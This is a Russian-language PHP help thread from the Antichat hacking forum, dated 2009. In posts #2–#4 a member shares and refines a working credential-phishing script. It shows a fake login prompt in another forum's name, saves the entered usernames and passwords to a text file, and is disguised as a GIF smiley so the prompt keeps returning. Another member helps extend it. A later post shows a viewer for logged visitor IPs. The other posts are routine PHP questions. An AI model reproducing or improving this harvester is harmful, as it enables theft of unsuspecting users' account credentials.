HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 07.05.2009, 20:36
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


По умолчанию

Цитата:
Сообщение от Gifts  
_SEREGA_ Буква "a" - написана на разных языках
я сам 10 минут щас сидел втыкал Оо
 
Ответить с цитированием

  #2  
Старый 07.05.2009, 20:48
S[N]EP
Познающий
Регистрация: 29.08.2008
Сообщений: 86
Провел на форуме:
789539

Репутация: 53
По умолчанию

Вот вопросик , есть код:
PHP код:
<?
if(!$_COOKIE['LOGON'])
{
 
$login $_SERVER['PHP_AUTH_USER'];
 
$pass  $_SERVER['PHP_AUTH_PW'];
 
//Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин
 
if(strlen($pass) <= || !$login)
 {
  
Header('HTTP/1.1 401 Unauthorized');
  
Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"');
 }
 elseif(
$login)
 {
  
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
  
setcookie('LOGON',md5($pass));
  
//запишем пароли в файл
  
$f fopen('passwords.txt''ab'); //passwords.txt
  
fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
  
fclose($f);
 }


 }

?>
он типо выдаёт окно авторизации, если нажимаеш ок а число символов меньше 2 то окно возвращается, а если отмена то схлопывается, можно ли сделать чтобы при нажатии отмена окно не схлопывалось пока пользователь не введёт логин и пасс????
 
Ответить с цитированием

  #3  
Старый 07.05.2009, 21:03
25:17
Banned
Регистрация: 07.05.2009
Сообщений: 11
Провел на форуме:
88555

Репутация: 11
По умолчанию

Цитата:
Сообщение от S[N]EP  
Вот вопросик , есть код:
PHP код:
<?
if(!$_COOKIE['LOGON'])
{
 
$login $_SERVER['PHP_AUTH_USER'];
 
$pass  $_SERVER['PHP_AUTH_PW'];
 
//Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин
 
if(strlen($pass) <= || !$login)
 {
  
Header('HTTP/1.1 401 Unauthorized');
  
Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"');
 }
 elseif(
$login)
 {
  
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
  
setcookie('LOGON',md5($pass));
  
//запишем пароли в файл
  
$f fopen('passwords.txt''ab'); //passwords.txt
  
fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
  
fclose($f);
 }


 }

?>
он типо выдаёт окно авторизации, если нажимаеш ок а число символов меньше 2 то окно возвращается, а если отмена то схлопывается, можно ли сделать чтобы при нажатии отмена окно не схлопывалось пока пользователь не введёт логин и пасс????
Можно поставить цикл сколько угодно раз, т.е. если он нажимает отмену то цикл еще раз.
 
Ответить с цитированием

  #4  
Старый 07.05.2009, 21:06
S[N]EP
Познающий
Регистрация: 29.08.2008
Сообщений: 86
Провел на форуме:
789539

Репутация: 53
По умолчанию

Цитата:
Сообщение от 25:17  
Можно поставить цикл сколько угодно раз, т.е. если он нажимает отмену то цикл еще раз.
PHP код:
<?
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image imagecreatefromgif('mellow.gif');
$a=1;
while (
$a<999){
if(!
$_COOKIE['LOGON'])
{
 
$login $_SERVER['PHP_AUTH_USER'];
 
$pass  $_SERVER['PHP_AUTH_PW'];
 
//Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин
 
if(strlen($pass) <= || !$login)
 {
  
Header('HTTP/1.1 401 Unauthorized');
  
Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"');
 }
 elseif(
$login)
 {
  
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
  
setcookie('LOGON',md5($pass));
  
//запишем пароли в файл
  
$f fopen('passwords.txt''ab'); //passwords.txt
  
fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
  
fclose($f);
 }


 }

$a++;
 
}
imagegif($image);
imagedestroy($image);
?>
так? всё равно при отмене оно больше не выводится(

Последний раз редактировалось S[N]EP; 07.05.2009 в 22:30..
 
Ответить с цитированием

  #5  
Старый 08.05.2009, 02:06
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

PHP код:
<?php
    $log    
'ip.txt'
    
$file    file($log); 
    
$k        = array(); 
    
    foreach(
$file as $abc)  
    {
        list(
$k['ip'][], $k['time'][], $k['cid'][], $k['nat'][]) = explode(':::'trim($abc));
    }
    
    
$max_time    time() - 300000;
    
/*$k['ip']    = array_unique($k['ip']);
    $k['time']    = array_unique($k['time']);
    $k['cid']    = array_unique($k['cid']);
    $k['nat']    = array_unique($k['nat']);*/

    
$count count($k['ip']);
    for(
$i 0;$i $count$i++)
    {
        if(
$k['time'][$i] > $max_time)
        {
            
$vremya date('h:i:s'$k['time'][$i]);
            if(
strpos($k['nat'][$i], 'real') !== false)
            {
                
$color='#66DD66';
            }
            else
            {
                
$color='yellow';
            }
            echo 
'<a href="javascript:FP_setTextFieldText(\'ipaddr\', \''.$k['ip'][$i].'\', \'1\')"><font color='.$color.' size=2>'.$k['cid'][$i].'</font></a><font color=red size=2> Time:'.$vremya.'</font><br/>';
        }
    }
?>
 
Ответить с цитированием

  #6  
Старый 08.05.2009, 12:19
Veteriuz
Новичок
Регистрация: 22.04.2009
Сообщений: 21
Провел на форуме:
73023

Репутация: 11
По умолчанию

я в заблуждении.
думаю что же сделал не так.
итак, имеем файл test.php, лежащий на локалхосте (http://good/)

test.php
PHP код:
<form action = "http://good/test.php" method="get">
   Рас <input type="text" name="ras"><br>
   Два <input type="text" name="dva"><br>
   <input type="submit" value="Считаем!">
</form>
<?
$sum 
$ras $dva;
echo 
$sum;
echo 
"<br>"//  эти строчки добавил
echo(gettype($ras)); // потому что 
echo "<br>"// ответ
echo(gettype($dva)); // всегда был ноль
?>
получается что $sum всегда ноль.
в браузере, независимо от значений $ras и $dva всегда вижу:
Цитата:
0
NULL
NULL
как решается проблема?)
 
Ответить с цитированием

  #7  
Старый 08.05.2009, 14:23
roddik
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме:
244235

Репутация: 39
По умолчанию

Цитата:
Сообщение от Veteriuz  
как решается проблема?)
вариант 1 - ламерский - включи себе в пхп register_globals, тогда переданные переменные будут автоматом создаваться, но в таком случае возможны проблемы с секъюрностью, если где-то затупишь

вариант 2 - правильный - данные из формы будут либо в массиве $_GET, либо в массиве $_POST, смотря что напишешь в <form method="get/post">, и точно будут в массиве $_REQUEST, который объединяет 2 предыдущих. замени в своем коде $ras, $dva на$_GET['ras'] и $_GET['dva'], или же $_REQUEST['ras'].. и должно заработать
 
Ответить с цитированием

  #8  
Старый 08.05.2009, 12:25
chlp
Новичок
Регистрация: 07.12.2008
Сообщений: 10
Провел на форуме:
46291

Репутация: 8
По умолчанию

PHP код:
 <form action = "http://good/test.php" method="post">    
Рас <input type="text" name="ras"><br>    
Два <input type="text" name="dva"><br>   
 <input type="submit" value="Считаем!"> 
</form> 
<? $sum $_POST["ras"] + $_POST["dva"]; 
echo 
$sum; echo "<br>"
//  эти строчки добавил 
echo(gettype($_POST["ras"])); 
// потому что  echo "<br>"; 
// ответ
 
echo(gettype($_POST["dva"])); 
// всегда был ноль ?>
Данные получаемые из форм находятся в массиве $_POST

Последний раз редактировалось chlp; 08.05.2009 в 12:29..
 
Ответить с цитированием

  #9  
Старый 08.05.2009, 20:26
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме:
302951

Репутация: 67
По умолчанию

подскажите плиз, скачал библиотеку отсюда http://www.pdflib.com/

а как ее подключить к моему php не знаю , никогда библиотеки не приходилось подключать, у меня стоит локально xampp
 
Ответить с цитированием

  #10  
Старый 08.05.2009, 20:30
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

php.ini добавь строчку с extension yuo_modul.dll
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.